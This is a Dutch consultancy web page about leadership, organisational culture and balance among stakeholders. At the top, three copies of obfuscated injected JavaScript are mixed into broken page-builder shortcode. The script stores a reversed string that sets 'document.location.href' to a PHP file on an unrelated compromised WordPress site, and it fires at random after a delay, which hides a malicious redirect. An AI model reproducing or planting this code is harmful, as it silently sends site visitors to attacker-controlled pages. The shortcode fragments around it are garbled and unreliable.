) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top_left” background_repeat=”repeat” global_colors_info=”{}”]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tom_padding=”|||” global_colors_info=”{}” custom_padding__hover=”|||”]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top_left” background_repeat=”repeat” global_colors_info=”{}”]

Een visie op balans

Ik zie bedrijven als ecosystemen. Leefsystemen waar diverse spelers (stakeholders) en processen van invloed zijn. Evenwicht, onderling en met de omgeving, is een voorwaarde voor continuïteit en groei van het systeem.  Veel organisaties zijn echter uit balans, het evenwicht is verstoord.

Een gezond ecosysteem werkt alleen goed als er samenwerking is en samenwerking is gebouwd op onderling vertrouwen. Ieder moet zijn rol kennen en daar ook verantwoordelijkheid voor (durven) nemen.

Organisaties die langdurig een bijdrage aan onze toekomst en die van onze kinderen kunnen leveren zijn evenwichtige organisaties. Graag lever ik een bijdrage om evenwichtige en toekomst vaste bedrijven te bouwen.

 

Hoe doe je dat?

Inzicht krijgen in de groeifase waarin het bedrijf én de leiders zich bevinden is van wezenlijk belang. Een bedrijf kan zich nooit verder ontwikkelen dan de ontwikkelingsfase van het leiderschap.

Creëren van een cultuur van veiligheid is een essentiële taak voor die leiders. Want wie zich moet richten op gevaar van binnen de organisatie, kan geen aandacht hebben voor wat er buiten de organisatie gebeurt.

Cultuur bepaalt de organisatie en om een cultuur te creëren moet je sturen op gedrag. Leidersgedrag dient daarbij als voorbeeld, integriteit en samenwerking zijn belangrijk. We bloeien op als de werkomgeving je aanmoedigt en voorziet in de elementaire behoeften om te leven, te leren, je gewaardeerd te voelen en een betekenisvolle bijdrage te leveren. Mensen stijgen boven zichzelf uit. Het is de taak van het leiderschap om daarvoor de juiste condities/omgeving in te richten.

Door inzet van mijn inzichten, kennis en ervaringen help ik de leiders van een organisatie om evenwicht te vinden en te bewaren. Ik spiegel het team met een scherpe kijk op de kern van de zaak, zodat gezamenlijk gekozen kan worden voor de te nemen stappen.

 

Daarbij streven we naar evenwicht tussen

  • individueel belang en groepsbelang
  • persoonlijke ontwikkeling en bedrijfsontwikkeling
  • aandeelhoudersbelang en bedrijfsbelang
nl_NLNL
nl_NLNL en_GBEN